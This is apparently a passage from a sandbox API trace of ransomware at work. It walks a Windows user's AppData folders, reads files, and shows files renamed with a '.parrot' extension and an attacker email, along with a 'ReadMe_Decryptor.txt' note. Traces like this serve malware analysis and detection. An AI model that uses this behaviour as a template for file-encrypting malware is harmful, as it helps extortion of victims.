HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.801] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.801] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0096.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.801] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.802] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6d0d1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.802] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.802] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0096.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.802] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.802] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.803] CloseHandle (hObject=0x270) returned 1 [0096.803] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b6a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3668, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="")) returned 1 [0096.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.803] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.803] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.804] CloseHandle (hObject=0x270) returned 1 [0096.804] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b90400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1008, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLICKO~1.PAR")) returned 1 [0096.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.804] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.804] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.805] CloseHandle (hObject=0x270) returned 1 [0096.805] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x688, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLICKO~2.PAR")) returned 1 [0096.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.805] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.805] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.806] CloseHandle (hObject=0x270) returned 1 [0096.806] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 1 [0096.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.806] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.807] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6d0d1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.807] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0096.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.807] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.807] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.807] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.807] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.807] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.807] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6a5f900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x43f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1 [0096.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.807] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.807] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.808] CloseHandle (hObject=0x270) returned 1 [0096.808] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b6a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3668, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1 [0096.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.808] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.808] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.808] CloseHandle (hObject=0x270) returned 1 [0096.808] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6e63e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x39d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GOOGAP~1.PAR")) returned 1 [0096.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x3162408 [0096.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162408 | out: hHeap=0x5b0000) returned 1 [0096.808] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.808] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.809] CloseHandle (hObject=0x270) returned 1 [0096.809] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GOOGAP~2.PAR")) returned 1 [0096.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x3162408 [0096.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162408 | out: hHeap=0x5b0000) returned 1 [0096.809] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.809] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.810] CloseHandle (hObject=0x270) returned 1 [0096.810] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6e63e20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa6e63e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7006d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.810] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.810] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.810] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6a5f900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x43f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1 [0096.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.812] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.812] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6d0d1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0 [0096.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668798 | out: hHeap=0x5b0000) returned 1 [0096.813] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532b8 | out: hHeap=0x5b0000) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0096.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.813] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.813] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.813] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0096.813] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0096.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.813] FindClose (in: 